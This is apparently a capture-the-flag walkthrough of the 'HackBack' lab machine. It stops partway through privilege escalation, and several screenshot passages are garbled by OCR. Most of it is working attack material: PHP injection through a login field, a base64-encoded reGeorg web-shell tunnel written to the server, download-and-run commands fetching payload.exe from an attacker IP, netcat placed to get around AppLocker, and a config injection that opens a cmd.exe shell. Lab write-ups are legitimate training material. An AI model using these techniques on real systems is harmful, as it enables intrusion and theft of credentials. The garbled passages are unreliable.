HackBack

nmap -pl-65535 10.10.10.128
PORT  STATE SERVICE
80/tcp open http

135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
49666/tcp open unknown
49667/tcp open unknown

Lets see if we can find any subdomains. Add hackback.htb to /etc/hosts
RESOURCE: https://github.com/TheRook/subbrute
python subbrute.py hackback.htb -o hackback.names

RESOURCE: https://github.com/rbsec/dnscan
python dnscan.py -d hackback.htb -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-
top100K.txt

We do not find anything really against http://10.10.10.128
/aspnet_client (Status: 301)

We do return some results for http://10.10.10.128:6666
/Help (Status: 200)
/Services (Status: 200)
/hello (Status: 200)
/help (Status: 200)
/info (Status: 200)

/list (Status: 200)
/netstat (Status: 200)
/proc (Status: 200)
/services (Status: 200)
/whoami (Status: 200)

Later we find port 64831 https://hackback.htb:64831

/login (Status: 200)
/register (Status: 200)
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/templates (Status: 200)
/users (Status: 200)

/api (Status: 200)

/logout (Status: 200)
/campaigns (Status: 200)
/settings (Status: 200)
/%!(NOVERB) (Status: 403)
/landing_pages (Status: 200)

Gaining Access

At http://hackback.htb:6666/proc we can see in the image that gophish is installed on this server.
Gophish is a web application. Lets find where it is at by running another nmap scan on all ports since
nothing showed the first time

nmap -p0-65535 10.10.10.128

hackback.htb6666/proc

"Mammt:  “conhost”t,

*1d*: 1556

*Path*: sull
b
{

"Mame":  “conhost”,

*1d*: 888

"Path®:  "C:\\mindows\\systeald2\\conhost .exn”
.

"Mame*:  “conhost®,
14T %
Path®: "C:\\mindows\\systead2\\conhost .exe”

b

{
Mamet:  “csrs
I1d*: 289,
“Path*: mull

b

{
"Mamet:  Tcarsst,
1d*: 472,
*rath*: sull

b

(
"Mame:  “dilhost”,
“1d*: 3040,
*Path": mull

.

(
“ame*:  “dve®,
“1dT: sas,

*Path*: mull

"Mamet:  “fentdrvdost®,
"1d%: 764,
“Path*: wull
.
{
"Myme": “fontdrvhost”®,
Id*: 72,
*Path*: =ull
.
(
"Mame®:  “gephash®,
14T 4324,
"Path®: "C:\\gephish\\gophish exe"
|

We find gophish is running on port 64831
https://hackback.htb:64831
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Let's try logging in with the default credentials
#USER: admin#
#PASS: gophish#

Please sign
in

#GOPHISH SOURCES: #
_https://docs.getgophish.com/user-guide/ _
_https://github.com/gophish/_

Obfuscated Javascript file found at _http://admin.hackback.htb/js/private.js_

The javascript is using a caesar cipher alphabet shift of 13 which is also ROT13.
Remove the script tages and decode using the below site and use value of -13
ine becomes var

#RESOURCE:# https://cryptii.com/pipes/caesar-cipher

#OTHER RESOURCE:# (The one i used) https://www.dcode.fr/rot-13-cipher
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- Y7l INA\J 1A LUIrnoiix
Cryptography Substitution Cipher ROT-13 Cipher
Search for a tool

ROT13 Decoder
SEARCHATOOL ON DCODE BY KEYWORT

Results e & ¢

RYPT ROT]
= ROT Cipher - Caesar Cipher - ROT-47 Cipher
ROT13 Encoder

I\ 7O\x48\x 7 INx74\ x4 4 $4\x44 ROT13 PLAN TEXT

RYPT WITY

( ! [ . = ROT Cipher — Caesar Cipher — ROT-47 Cipher

Once Decoded, open FireFox and press Ctrl+Shift+I. Copy and paste results into the Console and issue
the below command afterwards

print(x+"\r\n'+z+"\r\n'+h+"\r\n'+y+"\r\n'+t+"\r\n'+s+"\r\n'+i+"\r\n'+ k+"\r\n'+w)

Remember the secret path is 2bb6916122f1da34dcd916421e531578 Just in case | loose access to the
admin panel

?action=(show,list,exec,init)

&site=(twitter,paypal,facebook,hackthebox)

&session= Nothing more to say"

We use wfuzz to show us the site password parameter

wfuzz --hh=17 -z file,/usr/share/wordlists/fasttrack.txt -u "http://admin.hackback.htb/
2bb6916122f1da34dcd916421e531578/webadmin.php?
action=list&site=hackthebox&password=FUZZ&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4cOb5:
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cuments/Notes# wfuzz --hh=17 -z file,/usr/share/wordlist
passwords= FUZZ&S€SSlon fb6f90c58d192f1a7086546f3300d6d199ac4c0b5309ada3‘

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work

LB B B BB B R B R R R SRR EEEEEEEESEEEREEEEEEEEERESEEESEEESEEREEREESEEEEESEESEEEE B

* Wfuzz 2.3.4 - The Web Fuzzer .

EXEEXEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEELEEEEEES

Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/web:

3a56
Total requests: 222

000065: (=302
000207: (=302 "12345678"

Total time: 3.460097

Processed Requests: 222
Filtered Requests: 220
Requests/sec.: 64.16004

john --format=raw-md>5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Since a password is in some of the output wanted above we crack |t
f k# johr formate=raw-mdS
input encoding: UTF-8
rd hash (Raw-MDS5 [MD5 128/128 AVX 4x3]
no OpenMP support for this hash type, conside
. 5 r Ctri t0o abort al st any other key for
g 0:00:00:00 DONE (2019-03-12 12:44) Oqg/s 18872Kp/s 18872k
completed

PASS: fuckyooh21..*7{Vamos!
HASH: 2bb6916122f1da34dcd916421e531578
Doesnt't seem legit and may be a false positive. We have it just in case.

Visiting the site http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578 redirects us to the
main login.

Lets check for file extenstions and see what we find using that

dirb http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578 -r -X .php
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We get a result
http://admin.hackback.htb/2bb6916122flda34dcd916421e531578/webadmin.php
However it redirects us

We issue a typo on purpose and try again
http://admin.hackback.htb/2bb6916122flda34dcd916421e531578/webaadmin.php
This is not redirected. This tells us we may need to pull off a url redirect attack

Lets use Burp to see what is going on

follow redw ety Target

ﬂ)a‘-) s | Headers | Mex Rawm | Headers | Mex HTML  Rende

It seems the html refreshes the document and removes any extensions we add to the site. Lets work
on a Burp request
We want RCE with burp using the parameters we discovered from js.

We can wfuzz to find more parmaters for javascript. Easiest to make your own.

wfuzz --hh=357 -z file,/root/HTB/boxes/HackBack/possiblecmds.txt -u "http://admin.hackback.htb/
2bb6916122f1da34dcd916421e531578/webadmin.php?
action=list&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1la7b86546f3300d6d199ac4c
--hc 302

There doesnt seem to be another parameter.

GET /2bb6916122f1da34dcd916421e531578/webadmin.php?
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action=list&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c
HTTP/1.1

This lists a few log files.

As seen below the log files are our PHPSESSID followed by .log The list action displays all of the log files.

Hegquest Beapsorne

Jmem ] roams | meaters | mes | Jtam] resders | e

. CAABRUOAT
/2GR LA122 7 10a340cd B 164210531570/ webatuan. phg TactionsLis thastechackthe o Cache-Contral: sa-store. ro-cache, suat-resslidate
borioes yword= 1 2349 TREse9 10 r= M I D0 W0 102 F 1a ™0 344 F 1100804 1700 8230 Frogee: »o coche
ORI N ZOMIN N 000 Ty L ) Contant Tape tent Rl charaatalTt »
MOt N ARChhads hth Eopires: Thy, 1% sy 190 00 50100
Uner-Agent: Moraiia/S.0 IN1L: Lanex »BE 64 rvifl. @) Secho/29108102 Lacation
Farefon/te 9 Sarver! Marsssfr It 0.0
Acompt: teet/hinl spplicatiansebtnlonnl application/mml ool % %/ 0 .8 EPowered By: M T 200
ACCRRT-Langudge . on-05 o0 e, 5 Sot - {oobie PWESSIDa™A 190 M 127 1aTHERSEA T 310001 | 950 cbS M 320 I 20420 0L 1054 . otk
Acoopt -Ercading: grip, Setliate K-Powered-By: AP MY
Cosbin St Ned. L) Mar 2009 000 0
PHPSESSIDe 08 1 D0c30d 102 f La T BOS48 4 3300004 1950 Sc B0 30%ad a 3200020420344 Comnection: close
e Content -Length: 187
Comsaction: close
Vpgrade - Insecure Regqeests . ey
{
(o] =
(1l -

(2] = Q2240000 AN ST IR AW IR TERC T 2 AR eSS 1A R0 T Wi he oy
(3] »» «S0L0dSc 19705 f 4cTa 30075 LO4R I LTS 4 TH 00 ebd L0V 0ennta anbbid 7 log

### ACTION = INIT

The action init delets the log file associated with our PHPSESSID and clears the username and
password history that was entered into www.hackthebox.htb

Reqgueast Reapome

. TR/ 1.0 W Paue
FIOAR LA L2271 2ancat L G eSS T v ndnin . e T et Lanm N L ThSATen har i The P Caihe-Contrali sa-store,. ma-cahe, sust-revalidate
sorkgesrwords 1 23455700 een et o =40l f R0 SO Lal f 1aTRAESAE 4 1 000062 1 P nc dcidS Pragee: ma-cache
1ORia J0TAINAZ M N0ATAAE wTTR/S 3 Contant Tope i tent Mel dharsetsytr g
fost: admir hachkback hth Espires: Thu, 1% Sov 1981 00:52: 0 m
prer-agent: MoziTlavS, 8 (X111 Lisus B85 63 rv 80, 0) Sechor2eimle) Lacation
Firefon/0 % Serveri Mcramft IIS/ N0
Moot test/htnl spplacotion/smtalonnl spplocotion/snl g 8 +/% a4 .0 LPosered -By: T2
coept-Language: en-US en:g=0. .5 Set -Cookze: PHPSESSID=*4+00ciBd 1l LaTo00 580 f 1300l $9acicOb S Y00ada 3 2020204 20044 3054 - path=
Moest Encedung: prap, Seflate N Powered By A WtY
oshie Pote Wed. L) Mas 2009 400 Ut
PMPSESS D A P IO B 122 T LaTbB0 500 7 ) MO Gaad L 9 4BS Mt 120 I 04 M Connection: close
(323 Content -Length: S
st dlase
Mpgrede Insecure Soguests: 1 |

### ACTION = SHOW

Action show shows us the history of words entered into username and password fiedls at hackthebox.eu
3

Iy 21T L1 N Fowns

ST 1012270 14 e 3ated D 1842108 1 15 TR v adnan  phe Tactiommshaviasteshachthe P Coche Comtral: so stere. o tache, st reveladete

Pkt et e L 2 M4 70600 LORaTIA PO A 1o 2 T 1a ™M AN 44T L DML Ya c s Pragma s che

00ada d DO20I0A0 N0 TTR/1 2 Comtent - Type: teat /htel. charset-uyir. g

Soat: edeas hackbeck hth Cxpares: e, 19 Sov 1901 08:52:00 oeY

Pear Agent s MaziTia/s 0 IR0 s oM S0 e S 0 Secher i Lacatien

Faretansbb n Serenr: Mucresatr LIV 00

Accept: text/htel spplicetion/sbtalennl spplicetion/mel:qe0 9 %/ % 00 .2 K Powered 8y: MV T.2.7

ACCRpt - Language | o0 -5 oo aeb 5 et Conkie PHMEISTD= IS SO SR T LaMan S 4T R a00AGT S0 c A tn S M Sada 120000 et 1ash | pathe/

Aidopt Eninding a0ip, tiate L Powared By AW wmY

Coobie: Dete: Weod. 13 Mar 2019 $9:51:15 O

PMESS IR 0T S 127 1 THARSEAF L DO L Y5 actb S it L 20 )0 b et (omnection: clage

e Camtent Length Mo

Commection: close

pprade - [esecure -hequests | FAR March 2009, 825000 an] 10 10 14 00 + aernans
Phinle sone pasathrn ahall sone spnton proc spen popen, corl sand corl sl bl snee parae ik Tike
Jhaw sowrce, feschopen, sachet crmate, sochat commect swal, Password
Pheinfe conc, passthre, shell_cnec, systen, proc_spes papes, (ol _ened ool _switl_esec, parse_lni_file
haw sowren, faschopen, sachet crmate sachet commect sunl
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This command will most likely be used to get a shell by executing a command. All other sites return
wrong target error code.

| B | Perams | Feaders | Mes AN | Seaders W

We enter a php script into the username and click login.
<?php echo ini_get('disable_functions') 7>

In Burp we issue our show action on site hackthebox using our session as PHPSESSIONID and it returns
some kind of result.

We must be able to insert some malicious code. | made an attempt to obtain a reverse shell. It did not
work.

Every time we issue a command through the username and password fields we need to use init to
clear the response.

| Mo | Params | rmader . Aaw | rmader T

| used the below comand in the username field on hackthebox.htb to view folder contents.

“~*php

<?php $dir = 'C:/inetpub/wwwroot/new_phish/admin/'; $filesl = scandir($dir); $files2 = scandir($dir,
1); print_r($filesl); print_r($files2); ?>

<?php echo file_get_contents("C:/inetpub/wwwroot/new_phish/admin/web.config.old") ?>

<configuration>
<system.webServer>
<authentication mode="Windows">
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<identity impersonate="true" userName="simple" password="ZonoProprioZomaro:-("/>
</authentication>
<directoryBrowse enabled="false" showFlags="None" />
</system.webServer> </configuration>

USER: simple
PASS: ZonoProprioZomaro:-(

The above showed us we have a php injection for an exploit. Lets try to upload a tunnel to use for our
reGeorge exploit.
Place the below in the username field at hackthebox.htb

base64 tunnel.aspx

““php

<?php $tunnel = '77u/
PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjliBFbmFibGVTZXNzaW9uU3RhdGU9IIRydWUiJT4ANCjwlI
QCBJbXBvcnQgTmMFtZXNwWYWNIPS)JTeXNOZWOuTmVOIiAIPgOKPCVAIEItcG9ydCBOYW1Ilc3BhY2U9
IIN5c3RIbS50ZXQuU29ja2V0cylgJTANCjwIDQovKiAgICAgICAgICAgICAgICAQICBfX19fXyAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAGIAOKICBfX19fXyAglF9fX19fXyAgX198
X19fICB8X18gIF9fX19fXyAgX19fX18gIF9fX19fICAgX19fX19fICANCiB8ICAgICB8IHwWgICBf
X198fCAgIF9fX3wglCAgfHwWgICBfX198LyAgICAgXHwWgICAgIHWgfCAgIF9fX3wgDQogfCAgICAg
XCB8ICAgX19ffHwgICB8ICB8ICAgIHx8ICAgX19ffHWgICAgIHXx8ICAgICBcIHWgICB8ICB8IAOK
IHXfX3xcX19cfFIfX19fX3x8X19fX19ffCAgX198fFIfX19fX3xcX19fX18VFFIffFXxfX1x8X19f
X19ffCANCIAgICAgICAgICAgICAgICAgICAgfFIfX19ffAOKICAgICAgICAgICAQICAgICAQICAU
Li4gZXZlcnkgb2ZmaWNIIG5IZWRzIGEgdG9vbCBsaWtlIEdIb3JnDQoglCAgICAgICAgICAgICAg
ICAgIAOKICB3aWxsZW1Ac2Vuc2Vwb3NOLMNvVbSAVIEBfd19tX18NCiAgc2FtQHNIbnNIcG9zdC5j
b20gLyBAdH)vd2FsdHMNCiIAgZXRpZW5uZUBzZW5zZXBvc3QuY29tIC8gQGthbXBfc3RhYWxkcmFh
ZAOKDQpMZWdhbCBEaXNjbGFpbWVyDQpVc2FnZSBvZiByZUdIb3JnIGZvciBhdHRhY2tpbmcgbmVO
d29ya3Mgd210aG91dCBjb25zZW50DQpjYW4gYmUQY29uc21kZX]IZCBhcyBpbGxIZ2FsIGFjdGI2
aXR5LiBUaGUgYXV0aG9ycyBvZgOKcmVHZW9yZyBhc3N1bWUgbm8gbGlhYmIsaXR5IG9yIH]Ic3Bv
bnNpYmlsaXR5IGZvciBhbnkNCm1pc3VzZSBvciBkYW1hZ2UgY2F1c2VkIGJ5IHRoaXMgcH)vZ3Jh
bS4NCgOKSWYgeW91IGZpbmQgcmVHZW9yZ2Ugb24gb2511G9mIHIvdXlgc2VydmVycyB5b3Ugc2hv
dWxkDQpjb25zaWRIciBOaGUgc2VydmVylGNvbXByb21pc2VkIGFuZCBsaWtlbHkgZnVydGhlciBj
b21wcm9taXNIDQpObyBleGlzdCB3aXRoaW4geW91lciBpbnRIcm5hbCBuZXR3b3JrLgOKDQpGb3lg
bW9yZSBpbmZvcm1lhdGlvbiwgc2VIOgOKaHROcHM6Ly9naXRodWIuY29tL3NIbnNIcG9zdC9yZudI
b3JnDQogqLwOKICAgIHRyeQOKICAgIHSNCiAgICAgICAgaWYgKFJIcXVIc3QuSHROCE1IdGhvZCA9
PSAIUE9TVCIpDQogICAgICAgIHsSNCiAgICAgICAgICAgIC8vU3RyaW5nIGNtZCA9IF)IcXVIc3Qu
SGVhZGVycy5HZXQollgtQO01EIik7DQoglICAgICAgICAgICBTdH]pbmcgY21kiIDOgUmVxdWVzdC5R
dWVyeVNOcmIuZy5HZXQolmNtZClpLIRvWXBwWZXIoKTsNCiAgICAgICAgICAgIGImIChjbwQgPTOg
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IKNPTK5FQ1QiKQOKICAgICAgICAgICAgewOKICAgICAgICAgICAgICAgIHRYeQOKICAgICAgICAg
ICAgICAgIHSNCiAgICAgICAgICAgICAgICAgICAgU3RyaW5SNnIHRhecmdIldCA9IF)IcXVIc3QuUXVI
cnITdHJpbmcuR2VOKCJOYXJnZXQiKS5Ub1VwcGVyKCk7DQoglCAgICAgICAgICAgICAgICAQIC8v
UmVxdWVzdC51ZWFkZXJzLkdldCgiWC1UQVJHRVQIiKTsNCiAgICAgICAgICAgICAgICAgICAgaW50
IHBvcnQgPSBpbnQuUGFyc2UoUmVxdWVzdC5RdWVyeVNOcmIuZy5HZXQolnBvcnQiKSk7DQoglCAg
ICAQICAgQICAQICAgQICAgIC8VUMVXxdWVzdC51ZWFkZX])zLkdldCgiWwC1QT1)UlikpOwOKICAgICAg
ICAgQICAgICAQICAgICBJUEFkZH]lIc3MgaXAgPSBJUEFkZHJIc3MuUGFyc2UodGFyZ2VOKTsNCiAg
ICAgICAQICAQICAQICAgICAgU3IzdGVtLK5IdC5JUEVUZFBvaW50IH)IbWw90ZUVQIDOgbmV3IEIQ
RW5kUG9pbnQoaXAsIHBvcnQpOwOKICAgICAgICAgICAgICAgICAgICBTb2NrzXQgc2VuZGVvylD0g
bmV3IFNVY2tldChBZGRyZXNzRmFtaWx5LkludGVyTmV0d29yaywgU29ja2VOVHIwWZS5TdH]IYWOs
IFByb3RvY29sVHIwZS5UY3ApOwOKICAgICAgICAgICAgICAgICAQICBZzZW5kZXIuQ29ubmVjdChy
ZW1vdGVFUCk7DQoglCAgICAgICAgICAgICAgICAgIHNIbmRIci5CbG9ja2luZzyA91GZhbHNIOWOK
ICAgQICAgICAQICAgICAgQICAQICBTZXNzaW9uLkFkZCgic29ja2VO0Iliwgc2VuZGVyKTsNCiAgICAg
ICAgICAgQICAgICAgICAgUMVzcG9uc2UuQWRKSGVhZGVyYKCJYLVNUQVRVUYyIsIC)PSylpOwOKICAg
ICAgICAgICAgICAgIHONCIAgICAgICAgICAgICAQICBjYXRjaCA0RXhjZXB0aW9ulGV4KQOKICAg
ICAgICAgQICAgICAgIHSNCiAgICAgICAgICAgICAGICAgICAGUMVZcG9uc2UuQWRKSGVhZGVYKC)Y
LUVSUKk9SIiwgZXguTWVzc2FnZSk7DQoglICAgICAgICAgICAgICAgICAgIF)ic3BvbnNILKkFKZEhI
YWRIcigiWC1TVEFUVVMILCAIRKFJTCIpOwWOKICAgICAgICAgICAgICAgIHONCIAgICAgICAgICAg
IHONCiAgICAgICAgICAgIGVsc2UgaWYgKGNtZCA9PSAIREITQ090TkVDVCIpDQoglICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgdH)51HsSNCIAgICAgICAgICAgICAQICAgICAgU29ja2VOIHMg
PSA0U29ja2VOKVNIc3Npb25binNvY2tldCJdOwOKICAgICAgICAgICAgICAgICAgICBzLKNsb3NI
KCk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9ulGV4KXsNCgOKICAgICAgICAg
ICAgICAgIHONCIAgICAgICAgICAgICAgICBTZXNzaW9uLkFiYW5kb240KTsNCiAgICAgICAgICAg
ICAQICBSZXNwb25zZS5BZGRIZWFkZXIollgtU1RBVFVTIiwglk9LIik7DQoglCAgICAgICAgICB9
DQoglICAgICAgICAgICBIbHNIIGIMIChjbWQgPT0glkZPUIdBUkQIKQOKICAgICAgICAgICAgewOK
ICAQICAQICAQICAQICAQIFNVY2tldCBzIDOgKFNVY2tIdCITZXNzaW9uWy)zb2NrZXQiXTsNCiAg
ICAgQICAgICAgICAgICBOcnkNCIiAgICAgICAgICAgICAgICB7DQoglCAgICAgICAgICAQICAgICAg
IGludCBidWZmTGVulDOgUmVxdWVzdC5Db250ZW50TGVuZ3RoOwOKICAgICAgICAgICAgICAgICAg
ICBieXRIW10gYNnVmZiA91IG51ldyBieXRIW2)1ZmZMZW5dOwO0KICAgICAgICAgICAgICAgICAgICBp
bnQgYyA9IDA7DQoglCAgICAgICAgICAgICAgICAgIHdoaWxIICgoYyA9IF)IcXVIc3QuSW5wdXRT
dHJIYWOuUmVhZChidWZmLCAwWLCBidWZmLkxIbmd0aCkplD4gMCKkNCiAgICAgICAgICAgICAgICAg
ICAgewOKICAgICAgICAgICAgICAgICAQICAgICAgcy5TZW5kKG)1ZmYpOwOKICAgICAgICAgICAg
ICAgICAQICBI9DQogICAgICAgICAgICAgICAgICAgIF)Ic3BvbnNILKFKZEhIYWRICigiWC1TVEFU
VVMILCAITOsiKTsNCiAgICAgICAgICAgICAgICBIDQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4
Y2VwdGlIvbiBleCkNCiAgICAgICAgICAgICAgICB7DQoglCAgICAgICAgICAgICAgICAQIF)Ic3Bv
bnNILKFKZEhIYWRIcigiWC1FUIJPUilsIGV4Lk1Ic3NhZ2UpOwOKICAgICAgICAgICAgICAgICAg
ICBSZXNwb25zZS5BZGRIZWFkZXlollgtU1RBVFVTIliwglkZBSUwiKTsNCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICBO9DQogICAgICAgICAgICBIbHNIIGIMIChjbWQgPTOgIIJFQUQIKQOK
ICAgICAQICAgICAgewOKICAgICAgICAQICAQICAgIFNVY2tldCBzIDOgKFNVY2tldCITZXNzaW9u
Wy]Jzb2NrZXQiXTsNCiAgICAgICAgICAgICAgICBOcnkNCiAgICAgICAgICAgICAgICB7DQoglICAg
ICAgQICAgICAQICAQICAQIGIudCBjIDOgMDsNCIAgICAgICAgICAgICAgQICAgICAQYNnIOZVtdIH|I
YWRCAWZmIDO0gbmV3IG)5dGVbNTEYyXTsNCiAgICAgICAgICAgICAgICAgICAgdH)5DQogICAgICAg
ICAgICAgICAgICAgIHsSNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxIICgoYyA9IHMuUmVj
ZWI12ZShyZWFkQnVmZikplD4gMCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHSNCIAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBieXRIW10gbmV3QnVmZiA9IG51ldyBieXRIW2NdOwOKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBvQX]yYXkuQ29uc3RyYWIuZWRDb3B5KHJIYWRCAWZmLCAwW
LCBUZXdCdWZmLCAwLCBjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBTeXNOZWOuQnVm
ZmVyLk]Jsb2NrQ29weShyZWFkQnVmZiwgMCwgbmV3QnVmZiwgMCwgYyk7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgUMVzcG9uc2UuQmluYX)5V3JpdGUobmV3QnVmZik7DQoglCAgICAgICAg
ICAgICAgQICAgICAQICBI9DQogICAgICAgICAgICAQICAGICAQICAQICBSZXNwb252zZS5BZGRIZWFk
ZXlollgtU1RBVFVTIiwglk9LIik7DQogICAgICAgICAgICAgICAgICAgIHOgICAgICAgICAgICAg
ICAgICAgIAOKICAgICAgICAgICAQICAgICAQICBjYXRjaCAoU29ja2VORXhjZXB0aW9ulHNvZXgp
DQoglICAgICAgICAgICAgICAgICAgIHSNCiIAgICAgICAgICAgICAgICAgICAgICAgIFjic3BvbnNI
LkFkZEhIYWRIcigiWC1TVEFUVVMILCAITOsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH]JI
dHVybjsNCiAgICAgICAgICAgICAgICAgICAgFQOKICAgICAgICAgICAgICAgIHONCIAgICAgICAg
ICAQICAQICBjYXRjaCAoRXhjZXB0aW9ulGV4KQOKICAgICAgICAgICAgICAgIHSNCiAgICAgICAg
ICAgICAgQICAgICAgUMVzcG9uc2UuQWRKSGVhZGVYKCJYLUVSUk9SIiwgZXguTWVzc2FnZSk7DQog
ICAQICAgQICAQICAgICAQICAgIF)Ic3BvbnNILKFKZEhIYWRIcigiWC1TVEFUVVMILCAIRKF)TClp
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OwOKICAgICAgICAgICAgICAgIHONCIAgICAgICAgICAgIHOgDQogICAgICAgIHOgZWxzZSB7DQog
ICAgQICAgICAQICBSZXNwb25zZ55XcmI0ZSgiR2Vvecmcgc2F5cywg)OFsbCBzZWVtcyBmaWS5l)ylp
OwOKICAgICAgICB9DQogICAgfQOKICAgIGNhdGNolIChFeGNIcHRpb24gZXhLYWspDQoglCAgewOK
ICAgICAQICBSZXNwb25zZS5BZGRIZWFkZXIlollgtRV]ST1IliLCBleEthay5NZXNzYWdIKTsNCiAg
ICAgICAgUMVzcG9uc2UuQWRKSGVhZGVYKCJYLVNUQVRVUyIsICJGQUIMIik7DQoglCAgfQOKJT4N
Cg=="; $path = 'C:/inetpub/wwwroot/new_phish/admin/2bb6916122f1da34dcd916421e531578/
tunnel.aspx’; file_put_contents($path, base64_decode($tunnel)); 7>

On attack machine issue the below command

sudo python reGeorgSocksProxy.py -u http://admin.hackback.htb/
2bb6916122f1da34dcd916421e531578/tunnel.aspx -v INFO

RESOURCE: https://github.com/sensepost/reGeorg

Now lets use proxychains and try to log in using winrm_shell.rb
vi /etc/proxychains.conf
socks4 127.0.0.1 8888

proxychains smbmap -H 10.10.10.128 -u simple -p ‘ZonoProprioZomaro:-(’

Disk Permissions
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY

| used smbclient to check out IPC$ but nothing is there.
proxychains smbclient //10.10.10.128/IPC$ -U simple%'ZonoProprioZomaro:-('

Since WIinRM is open on port 5985 let's use it.
RESOURCE: https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
proxychains ruby winrm_shell.rb

We are not able to download files using certutil, we can not run powershell modules using IEX.
| than tried Metasploits web_delivery exploit which also will not work in this situation.
RDP port 3389 is open but only Administrator has that permission.

To get the payloads on the device | tried

Start-BitsTransfer -Source 'http://10.10.14.11:8000/payload.exe' -Destination 'C:
\Users\simple\Desktop\payload.exe'

Invoke-WebRequest -Uri http://10.10.14.11:8000/payload.exe -Outfile payload.exe
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certutil.exe -urlcache -split -f http://10.10.14.11:8000/payload.exe
IEX (New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/payload.exe')
None of which worked. Lets try using the php method as we did uploading the tunnel.

In C:\util\scripts\ there is a file called clean.ini. We have the ability to edit this file.
After editing the file the machine will need to be reset in order to load our config.

PS hackback\simple®HACKBACK > Get ontent ean. it

To get nc.exe on the machine, we need to put it here: C:\Windows\System32\spool\drivers\color
This is the place where ApplLocker isnt scanning.
We can do this by using the same method we used to get tunnel.aspx onto the machine.

We base64 encode the nc64.exe, put it in the username filed. Does not matter what we put in the
password field. We trigger it with php show in BurpSuite.

RESOURCE: https://github.com/DarrenRainey/netcat

OTHER USABLE RESOURCE: https://github.com/samratashok/nishang (Invoke TCP can also be used for
a rev shell)

Check to make sure the file is where we want it.

dir C:\Windows\System32\spool\drivers\color

PS hackback\simple@HACKBACK > dir C:\Windows\System32\spool\drivers\color
|S-chain| -<>-127.0.0.1:8888-<><>-10.10.10.128:5985-<><>-0K
|S-chain|-<>-127.0.0.1:8888-<><>-10.10.10.128:5985-<><>-0K

Directory: C:\Windows\System32\spool\drivers\color

LastWriteTime Length Name
9/15/2018 12:12 AM D50.camp
9/15/2018 12:12 AM D65.camp

9/15/2018 12:12 AM Graphics.gmmp

9/15/2018 12:12 AM MediaSim.gmmp

3/11/2019 5:56 PM nc6b4 .exe

Edit clean.ini to say what we want

echo ‘[Main]’ > clean.ini

echo ‘LifeTime=100" >> clean.ini

echo ‘LogFile=c:\util\scripts\log.txt && C:\Windows\System32\spool\drivers\color\nc64.exe -lvp 443 -e
cmd.exe’ >> clean.ini

echo ‘Directory=c:\inetpub\logs\logfiles’ >> clean.ini

If we run netstat -a we can verify the port 443 is listening and is open.
Once ncb4.exe is on the pc, connect to it.
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proxychains nc 10.10.10.128 443

HTB/boxes/HackBack# proxychains nc 10.10.10.128 443

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8888-<><>-10.10.10.128:443-<><>-0K
Microsoft Windows [Version 10.0.17763.292]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
hackback\hacker

C:\Windows\system32>type C:\Users\hacker\Desktop\user.txt
type C:\Users\hacker\Desktop\user.txt
02244978e39c2fb4a8cOTffo8d1le99cTe

C:\Windows\system32>

type C:\Users\hacker\Desktop\user.txt
922449f8e39c2fb4a8c0ff68d1e99cfe

PrivEsc

The hacker user does not seem to have any more privledges than simple does.

| do not know where to go next. When that happens | turn to PowerUp.ps1 or JAWS.
We want to get these on the device. Since we have netcat now we can use that.
First we tell the target to listen on a port for the file.
C:\Windows\System32\spool\drivers\color\nc64.exe -Ilp 1234 > PowerUp.psl

Next we serve the file up. It takes a minute but will go through.

In the image | served it to Simple.

proxychains nc 10.10.10.128 1234 < PowerUp.psl
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In order to run these scripts as “Hacker” we can add permissions for that user.

" “powershell

$rule=new-object System.Security.AccessControl.FileSystemAccessRule ("hacker","FullControl","Allow")
$acl = Get-ACl C:\Windows\System32\spool\drivers\color\PowerUp.psl

$acl.SetAccessRule($rule)

Copy the file some place that Hacker can access it such as C:\Windows\System32\spool\drivers\color

RESOURCE: https://github.com/PowerShellMafia/PowerSploit

Now that PowerUp is on the box lets run it!.

| had to run it as simple as Hacker's netcat listner was not picking up the connection through
proxychains.

| first created a copy of PowerUp.psl and called it PowerUp2.ps1.

| than added the command | want to run to the end of the file.

cp PowerUp.psl PowerUp2.psl

echo 'Invoke-AllChecks.psl >> PowerUp2.psl

That did not work so | did the same for JAWS and Sherlock.

RESOURCE: https://github.com/rasta-mouse/Sherlock

When | ran sherlock's Check-AllVulns function we did not have any matches.

RESOURCE: https://github.com/411Hall/JAWS
When | ran JAWS the thing that stuck out was Administrator was a part of a group called Docker Users

Username: Administrator

docker-users Administrators Remote Desktop Users

When | got to the Program Folders enum of JAWS | saw the Docker folder.
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C:\Program Files

Common Files
Docker
| check it out and there is nothing in the folder.

We next run a query of the registry to see if we can find anything there
reg query HKLM\SYSTEM\CurrentControlSet\Services

There are an unusual amount of logs for the user ‘Hacker’.

Because of this there were 2 files that stuck out to me as they are not native to Windows.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserLogger
c:\windows\system32\UserLogger.exe

We can start and stop service

" “powershell

sc stop userlogger

